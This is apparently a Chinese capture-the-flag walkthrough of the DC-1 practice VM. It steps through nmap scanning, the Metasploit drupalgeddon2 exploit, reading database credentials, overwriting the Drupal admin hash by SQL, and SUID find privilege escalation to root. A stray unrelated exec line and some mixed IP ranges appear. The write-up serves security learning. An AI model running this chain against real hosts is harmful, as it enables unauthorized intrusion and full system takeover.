DC1靶机渗透全流程
前情提要
1.本文章记录了本人打DC靶机的全过程。
2.不用对文章中靶机ip的变化过度在意。
3.如有建议或疑问,请留言或私信。
DC_1 √ Drupal
依据后面得出:192.168.40.157
前置知识:IP的组成
IPv4 地址的典型格式是 A.B.C.D,其中 A、B、C 和 D 是范围在 0 到 255 之间的十进制数。每个单独的数字对应于地址的 8 位二进制字段,可以表示为 8 位的二进制数。
IPv4由网络部分和主机部分组成
A.B.C表示网络部分,用于标识网络;D表示主机部分,用于标识特定网络中的主机或设备
当多个IPv4地址的网络部分相同,表示它们在同一个网络中,可以直接进行通信而无需经过网关或路由器进行转发,也说明相应设备在同一个局域网中
1.nmap
先快速探测网段内存活主机:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
解析:-sP:使用Ping扫描模式,用于快速发现指定IP地址返回内活跃的主机
--min-hostgroup 1024 和 --min-parallelism 1024 是两个选项,用于指定扫描过程中的线程参数
--min-hostgroup 1024:指定同时扫描的最小主机组数
--min-parallelism 1024:指定最低的并行度,也就是同时进行的任务数最少是 1024 个
192.168.120.0/24 是一个 CIDR 格式的 IP 地址范围表示法,其中 /24 表示子网掩码为 24 位,即该 IP 地址范围包含 256 个连续的 IP 地址(从 192.168.120.0 到 192.168.40.255)
得到:
得到了两个警告:但暂时不管
Warning: You specified a highly aggressive --min-hostgroup.
Warning: Your --min-parallelism option is pretty high! This can hurt reliability.即:
您指定了非常激进的 --min-hostgroup 选项。
警告:您的 --min-parallelism 选项设置得很高!这可能会影响扫描的可靠性。
结合mac地址得到了ip:192.168.40.157
探测端口:nmap -A -p- -T4 192.168.40.157
nmap -A -p- -T4 192.168.40.157
选项 -A 表示启用全面扫描模式,对目标主机进行更深入的分析和探测。这个选项会执行多种扫描脚本和探测技术,包括操作系统识别、版本检测、脆弱性扫描等,以获取更详尽的主机信息。
选项 -p- 表示扫描目标主机的所有端口。默认情况下,Nmap 只会扫描一部分常见端口,但使用 -p- 可以指定扫描全部 65535 个端口,以便全面地探测主机上开放的服务和端口。
选项 -T4 指定了扫描的速度和时间延迟。-T4 表示采用较快的扫描速度,同时适度控制请求发送的间隔,以在短时间内完成扫描任务。
192.168.40.157 是目标主机的 IP 地址,表示要对该主机进行扫描.
得到开放的端口:
nmap -A -p- -T4 192.168.40.157
exec("tac /flag > 1.txt")
访问:http://192.168.40.157:80
那么Drupal是什么?搜索可得:
Drupal是一个灵活的,基于LAMP技术栈的CMS(内容管理系统)
2.Wappalyzer
也可以通过Wappalyzer得到:
3.msfconsole
尝试使用msfconsole
寻找并利用与Drupal有关的漏洞:
执行命令:
msfconsole
search Drupal(不区分大小写)
先选取2018年的这个漏洞试试:
利用漏洞:
use exploit/unix/webapp/drupal_drupalgeddon2
查看使用方法:
show options
设置靶机IP:
set RHOSTS 192.168.40.157
开始攻击
run
执行Linux命令:
ls
读取flag:
cat flag1.txt
得到提示:
config file,即配置文件
查找Drupal的默认路径:
执行:得到flag2
Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
翻译:
穷举攻击(Brute force)和字典攻击(Dictionary attack)并不是获取访问权限的唯一方式(而你确实需要这些权限)。使用这些凭据,你可以做什么呢?
再看文件,发现:
有效的有:
database(数据库)为drupaldb
username(账号)为dbuser
password(密码)为R0ck3t
为了方便,先得到shell:
shell
python -c "import pty;pty.spawn('/bin/bash')"
4.MySQL信息泄露
根据上面给出的账号密码,尝试MySQL登录:
mysql -u dbuser -p
成功登录,接下来就是查数据库:
show databases;
use drupaldb;
show tables;
# 查看表的信息并纵向排列:
select * from users\G;
猜测可能是经过哈希加密后的结果,下面寻找加密逻辑
cd /var/www
find . -name "*hash*" # ./scripts/password-hash.sh
查看加密逻辑:
emmm,确实跟哈希有关.
该文件后面也有进一步的解释,但是与其破解原来的密码,不如更改成一个我们已知的新的密码
5.修改MySQL密码
若密码为666,对应的哈希值为:
password: 666 hash: $S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id
则更改密码:
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin";
建议将SQL语句完整正确的构造出来后再在终端输入
成功修改
再次访问并登录管理员admin的账户:
成功登录并得到flag3:
根据"passwd"可联想到/etc/passwd文件:
猜测有个叫"flag4"的用户,查看:
cd /home/flag4
ls
cat flag4.txt
得到flag4.根据内容提示,要提权到root
查看默认以root权限执行的程序:
find / -perm -u=s -type f 2>/dev/null
# -perm 权限
# -u 用户 s表示特权
# -type 类型
# f 文件
# 2>/dev/null 不显示错误信息
6.find提权
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件
-p
即--privileged以root权限执行
\;
作用是告诉find
命令要执行的命令已经完整结束,不再包含其他的参数或命令。这样可以确保命令的正确执行,并将-exec
后面的命令应用到find
命令找到的每个文件上
最后得到flag5:
7.知识点总结
# nmap
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.40.0/24
nmap -A -p- -T4 192.168.40.157
# wappaylyzer
插件
# msfconsole
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options # 查看使用方法
set RHOSTS 192.168.40.157 # 设置靶机IP
run # 开始攻击
ls #执行Linux命令
shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -name "set*" # 寻找配置文件(有MySQL的用户信息)
sites/default/files # Drupal的默认路径
show databases; # 查看数据库内的信息
find / -name "*hash*" # 数据库密码的加密文件
# 更改密码
update users set pass='$S$DYl6dwh4W/d.rWgFtUmGF9Fp9DVpkDhhPBt8tnQXhzwgQjWvy6Id'where name="admin";
# 查看所有用户的家目录并用find提权
cat /etc/passwd
ls /home # 查看用户
find / -perm -u=s -type f 2>/dev/null # 查看默认以root权限执行的程序
find / -exec "/bin/bash" -p \; # 以root权限运行/bin/bash文件